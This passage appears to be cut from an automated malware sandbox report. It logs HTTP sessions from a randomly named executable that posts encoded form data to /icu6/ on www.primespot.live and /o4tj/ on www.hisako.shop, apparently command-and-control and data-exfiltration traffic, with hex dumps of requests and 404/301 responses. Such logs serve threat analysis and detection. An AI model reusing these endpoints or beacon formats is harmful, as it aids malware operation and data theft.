2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49974	209.74.79.42	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:06.429075003 CET	778	OUT	POST /icu6/ HTTP/1.1 Host: www.primespot.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.primespot.live Referer: http://www.primespot.live/icu6/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 32 34 65 77 61 43 32 49 32 50 31 7a 65 38 79 4f 52 63 6a 76 65 6e 52 52 58 68 59 6d 71 6c 63 75 7a 6b 39 73 54 51 6b 56 73 79 70 79 59 48 49 41 37 54 47 30 6e 78 6f 6f 6a 4d 72 30 44 64 75 79 36 64 32 67 71 54 79 67 43 49 2f 47 4d 58 7a 31 52 6a 36 53 42 7a 64 33 6c 33 63 36 38 34 62 4c 58 78 58 51 47 64 66 71 69 71 55 75 5a 30 61 44 34 4c 41 6f 56 69 34 53 33 73 62 45 6e 47 79 53 45 43 52 61 73 6b 6d 63 35 67 67 4b 6d 6f 35 66 68 4e 46 4e 42 4d 5a 66 4a 6a 77 67 49 4e 53 56 76 48 56 31 4c 48 6f 4a 73 71 47 32 6e 61 64 38 78 67 6f 68 46 6b 71 35 79 70 78 7a 76 43 4c 34 74 70 6e 34 79 61 48 6b 39 34 58 48 62 35 67 70 56 69 4f 48 41 73 79 70 53 47 4c 57 Data Ascii: LDVlCz=24ewaC2I2P1ze8yORcjvenRRXhYmqlcuzk9sTQkVsypyYHIA7TG0nxoojMr0Dduy6d2gqTygCI/GMXz1Rj6SBzd3l3c684bLXxXQGdfqiqUuZ0aD4LAoVi4S3sbEnGySECRaskmc5ggKmo5fhNFNBMZfJjwgINSVvHV1LHoJsqG2nad8xgohFkq5ypxzvCL4tpn4yaHk94XHb5gpViOHAsypSGLW
Dec 12, 2024 00:20:07.656577110 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:20:07 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49980	209.74.79.42	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:09.097485065 CET	1795	OUT	POST /icu6/ HTTP/1.1 Host: www.primespot.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.primespot.live Referer: http://www.primespot.live/icu6/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 32 34 65 77 61 43 32 49 32 50 31 7a 65 38 79 4f 52 63 6a 76 65 6e 52 52 58 68 59 6d 71 6c 63 75 7a 6b 39 73 54 51 6b 56 73 79 68 79 59 30 41 41 34 77 65 30 6d 78 6f 6f 71 73 72 35 44 64 75 7a 36 64 76 70 71 54 32 57 43 4f 37 47 4d 78 76 31 46 48 75 53 4b 7a 64 33 6e 33 63 33 69 49 61 44 58 78 48 63 47 63 76 71 69 71 55 75 5a 30 32 44 78 2b 73 6f 58 69 34 52 77 73 62 59 6a 47 79 71 45 43 70 67 73 6b 7a 72 34 51 41 4b 6d 4a 4a 66 67 34 70 4e 44 73 5a 64 41 7a 77 6f 49 4e 66 4c 76 48 4a 35 4c 47 63 7a 73 71 2b 32 6e 76 73 34 74 52 63 47 58 48 4f 76 37 62 70 4a 34 46 32 66 70 5a 2f 5a 77 64 2b 65 32 73 44 48 63 4a 55 6b 59 57 65 4c 53 62 37 39 57 79 7a 43 58 35 52 50 6c 41 52 37 53 51 52 57 6d 59 70 64 31 4e 4d 36 4f 2f 46 51 6a 34 37 46 34 41 66 4a 71 7a 78 37 2b 48 30 4f 75 53 62 71 42 6f 76 73 67 58 4d 76 48 71 4b 44 51 30 2b 79 49 6a 59 54 6f 4b 63 6f 63 66 44 62 4e 52 79 55 7a 75 4c 59 45 75 56 55 45 55 48 79 47 31 67 45 49 56 49 30 43 6d 32 76 78 6c 49 33 4f 6e 48 56 6b 4f 44 [TRUNCATED] Data Ascii: LDVlCz=24ewaC2I2P1ze8yORcjvenRRXhYmqlcuzk9sTQkVsyhyY0AA4we0mxooqsr5Dduz6dvpqT2WCO7GMxv1FHuSKzd3n3c3iIaDXxHcGcvqiqUuZ02Dx+soXi4RwsbYjGyqECpgskzr4QAKmJJfg4pNDsZdAzwoINfLvHJ5LGczsq+2nvs4tRcGXHOv7bpJ4F2fpZ/Zwd+e2sDHcJUkYWeLSb79WyzCX5RPlAR7SQRWmYpd1NM6O/FQj47F4AfJqzx7+H0OuSbqBovsgXMvHqKDQ0+yIjYToKcocfDbNRyUzuLYEuVUEUHyG1gEIVI0Cm2vxlI3OnHVkODkJBYaJCh6SQ4aPI3ewOXH2QhgSoPGKw5dAmLJi9O2vitekNV2vO1wQ/kfobjqGGkzpYaXxAPgWPUoLHpu3i234K+oLu8S3nrsxOqLCfJEE/y148WsHhigRVPRSB5pCUaZrqe6BgWTI6ozV/2w/UpuHa91DFP1G0891BwT9V2sq6slKWaRrUMAoSSWi3Wugchsv5z4qD2pt2Hn0MiiijFk6IFlwGjKy4K7kgojtCuHIDIzhaUzQMiQ0HlUX8uoBJ4L4t+ybfTYMm98/Btuq0X4YaVR0Slz5845PloR8uiptiNSqAcAOmuGgNA04AiS1TtqfH7skFXqXMvKJ0nQiwcrIvrICPkPClHzNgEV1dYgbe0mjdx0G7vpaX71v2cJO/ujLVVbTymuJ1ROUTDW/Cp16y9OesXEgzrrxwNJvWaeSX8qnkSAw1XJGgkrDQTPSSFHwRUMmWpsTM9oLJalHB+b2OF6zc9DAFMUSdx+yRcoCAOo2swt5eY5k67C4CHlHMf6z0et4nsg8ADgj4WYfExDmfnTdEZ+lpi/b8YIUtljVLV8zpBHfoGukTZjqx928nv9ELK1iaD6cX4zLkxj/AUg7YBiMlwJn9oB21udqGCiQvTcLv+hEb89ciCg+WYoGb/N822HuDDeDUZng7cLDtEerc5J9ahJQBPbi [TRUNCATED]
Dec 12, 2024 00:20:10.574354887 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:20:10 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49986	209.74.79.42	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:11.766904116 CET	505	OUT	GET /icu6/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=762QZ2SV6NpjcpWEPp/HDXxWZXZX1W4w6TtwEwMqgABTEXEh+wW122QWjov6SciVl+aW6WWJfJ+5Cw+tTwbMJ19RlEhii/WIAwuvAuC5wag6L1em5+IXdi875fnKjGjeWw== HTTP/1.1 Host: www.primespot.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:20:12.984282017 CET	548	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:20:12 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50001	18.139.62.226	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:19.499521017 CET	749	OUT	POST /o4tj/ HTTP/1.1 Host: www.hisako.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.hisako.shop Referer: http://www.hisako.shop/o4tj/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 31 2f 75 2f 72 34 59 55 4d 69 33 36 52 39 30 41 46 55 30 45 4d 49 34 76 76 2b 6a 4e 76 41 79 78 73 71 56 37 58 6a 65 72 48 50 6f 69 59 35 76 66 31 52 63 36 4a 6c 44 75 46 56 67 41 5a 73 4a 65 2b 44 42 66 38 6f 71 55 2b 52 62 57 6a 49 42 37 4d 4b 55 6e 4e 6e 38 55 6e 2f 4e 50 2f 49 44 6c 75 71 48 4f 7a 70 53 66 74 52 58 44 4a 4a 59 78 69 52 37 38 32 72 6e 6d 64 4c 6c 46 59 31 67 70 42 51 30 69 46 34 75 47 2b 34 33 66 76 6f 79 35 38 31 42 45 4d 45 38 73 46 6f 50 37 56 72 44 58 68 4f 59 53 4c 51 56 2f 76 78 70 39 78 49 55 56 38 62 34 6c 47 4c 67 35 44 2f 50 63 5a 58 53 45 67 51 4c 67 6a 38 67 3d Data Ascii: LDVlCz=1/u/r4YUMi36R90AFU0EMI4vv+jNvAyxsqV7XjerHPoiY5vf1Rc6JlDuFVgAZsJe+DBf8oqU+RbWjIB7MKUnNn8Un/NP/IDluqHOzpSftRXDJJYxiR782rnmdLlFY1gpBQ0iF4uG+43fvoy581BEME8sFoP7VrDXhOYSLQV/vxp9xIUV8b4lGLg5D/PcZXSEgQLgj8g=
Dec 12, 2024 00:20:21.104382992 CET	362	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 11 Dec 2024 23:20:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.hisako.shop/o4tj/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50002	18.139.62.226	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:22.157824993 CET	769	OUT	POST /o4tj/ HTTP/1.1 Host: www.hisako.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.hisako.shop Referer: http://www.hisako.shop/o4tj/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 31 2f 75 2f 72 34 59 55 4d 69 33 36 51 64 45 41 48 7a 67 45 62 34 34 73 67 65 6a 4e 6d 67 7a 36 73 71 5a 37 58 6e 50 75 48 39 38 69 59 62 48 66 32 54 30 36 4b 6c 44 75 50 31 67 46 47 63 4a 41 2b 44 4d 31 38 6f 57 55 2b 52 66 57 6a 49 78 37 4e 35 73 34 4d 33 38 57 72 66 4e 4e 69 34 44 6c 75 71 48 4f 7a 6f 79 78 74 53 6e 44 4f 39 6b 78 6a 7a 44 39 70 62 6e 70 4b 37 6c 46 63 31 67 58 42 51 30 41 46 38 75 67 2b 2b 7a 66 76 6f 43 35 2f 6b 42 44 62 30 38 31 42 6f 4f 76 45 4f 79 61 34 39 45 70 48 78 6b 37 78 33 74 36 39 65 6c 2f 6d 35 77 4e 56 72 4d 42 54 73 48 72 49 6e 7a 74 36 7a 62 51 39 72 33 71 74 4b 58 67 6a 34 70 62 4f 4c 30 78 34 73 7a 36 63 36 58 42 Data Ascii: LDVlCz=1/u/r4YUMi36QdEAHzgEb44sgejNmgz6sqZ7XnPuH98iYbHf2T06KlDuP1gFGcJA+DM18oWU+RfWjIx7N5s4M38WrfNNi4DluqHOzoyxtSnDO9kxjzD9pbnpK7lFc1gXBQ0AF8ug++zfvoC5/kBDb081BoOvEOya49EpHxk7x3t69el/m5wNVrMBTsHrInzt6zbQ9r3qtKXgj4pbOL0x4sz6c6XB
Dec 12, 2024 00:20:23.732131958 CET	362	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 11 Dec 2024 23:20:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.hisako.shop/o4tj/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50003	18.139.62.226	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:24.813807011 CET	1786	OUT	POST /o4tj/ HTTP/1.1 Host: www.hisako.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.hisako.shop Referer: http://www.hisako.shop/o4tj/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 31 2f 75 2f 72 34 59 55 4d 69 33 36 51 64 45 41 48 7a 67 45 62 34 34 73 67 65 6a 4e 6d 67 7a 36 73 71 5a 37 58 6e 50 75 48 39 6b 69 62 71 6e 66 32 79 30 36 4c 6c 44 75 4a 46 67 45 47 63 49 63 2b 44 55 75 38 6f 62 6a 2b 54 58 57 68 72 35 37 45 6f 73 34 46 33 38 57 6a 2f 4e 4f 2f 49 43 74 75 70 2b 46 7a 6f 43 78 74 53 6e 44 4f 37 41 78 6e 68 37 39 72 62 6e 6d 64 4c 6c 5a 59 31 68 36 42 51 39 69 46 38 69 77 2b 50 50 66 75 4d 6d 35 35 53 74 44 5a 55 38 33 4d 49 4f 6e 45 4f 33 61 34 39 5a 48 48 78 67 42 78 77 5a 36 39 59 55 66 37 74 73 62 57 62 4d 6e 61 64 48 4b 64 6e 2f 37 33 51 50 4e 36 35 37 46 6c 65 54 35 73 63 52 73 44 59 56 36 72 61 4f 31 4d 75 6e 4c 6c 64 76 42 4d 52 65 4f 55 56 67 32 57 2f 38 75 66 59 7a 50 4f 71 52 53 50 68 51 59 4a 53 70 51 48 48 39 73 50 6b 69 49 54 44 62 2b 44 4d 49 76 62 69 4a 31 6e 61 4b 79 32 65 53 41 4e 6f 50 35 4b 35 41 6c 49 75 65 6b 4f 44 6c 43 76 4f 66 56 50 77 6b 6e 6e 52 4a 53 4e 34 78 4b 6b 6c 73 75 32 79 78 6f 33 45 6f 52 39 56 6a 66 52 68 33 [TRUNCATED] Data Ascii: LDVlCz=1/u/r4YUMi36QdEAHzgEb44sgejNmgz6sqZ7XnPuH9kibqnf2y06LlDuJFgEGcIc+DUu8obj+TXWhr57Eos4F38Wj/NO/ICtup+FzoCxtSnDO7Axnh79rbnmdLlZY1h6BQ9iF8iw+PPfuMm55StDZU83MIOnEO3a49ZHHxgBxwZ69YUf7tsbWbMnadHKdn/73QPN657FleT5scRsDYV6raO1MunLldvBMReOUVg2W/8ufYzPOqRSPhQYJSpQHH9sPkiITDb+DMIvbiJ1naKy2eSANoP5K5AlIuekODlCvOfVPwknnRJSN4xKklsu2yxo3EoR9VjfRh3xMKqw8h4NqqSEwIBuoLwO1DxBwXH/xwroVfA1KI1qD/ibx4IhzybVzxEE5gEpZdbK/R0J8gDjkxcqVZ2O/GXMrIdS82/K02M/LqAX3EpkZ7/gm68JWLF3w9JlPGaBMbb8JpYzWrLFfQrYDaUXMFiyoQlObijZWng4wujmRlvB5ALNDFqlndblJuaP0jsXhJMxV92q4OxE4ClC3JbkUJjUC7ZVKKYfmJTk10Wt7i1Mt4pMfwMuejeM3upMOCTfWncyqroqyAon/9NRCR/o3LPc6VNyAE4S0Yqx4EJpOgnawHiIaNVI+QLnv+PkZ9bv0ME+4FdX3aMusmpOD/k0FCrxlXAzShwe+aeOpXZGg6htpWjIZ9USB0wLJoEsc5el2N/ouGHh65Qg80D99uNk0/coNZq2ITTMqGpJUKCoBSmvDP8c5R29JY9lr0hwHYHut5/SHxOY70hOLEGVfD325LPWXPLzqwCNom7RhmW10moLDuUVTwcIzX333Cfj9bAMaY26gOjYaF8tab8CJpHANEFPZznvbU8ySZs8wGN+DImsJ5x55O8DfSxQDmkEIbGxyIFLuGlUW/YlOkEtGxHFDB2t58J7G6zFdeTGHGG0Sv5FVXxRJFAjaePAjA/PxL+S6pUIGQ65k1X4sB2EznlZMhYDB5HG1TCy5FuM4 [TRUNCATED]
Dec 12, 2024 00:20:26.393815041 CET	362	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 11 Dec 2024 23:20:26 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.hisako.shop/o4tj/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50004	18.139.62.226	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:27.474821091 CET	502	OUT	GET /o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7sjiwZWkJjUpQH/sr9gZIVnDBJgsPBR+fKmpaKAjd6wyxi+eq8Hgh+Droj+Yb9QbnJwQg==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.hisako.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:20:29.046928883 CET	525	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 11 Dec 2024 23:20:28 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.hisako.shop/o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7sjiwZWkJjUpQH/sr9gZIVnDBJgsPBR+fKmpaKAjd6wyxi+eq8Hgh+Droj+Yb9QbnJwQg==&NdLhG=cLCtFnqPUvutTbuP Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 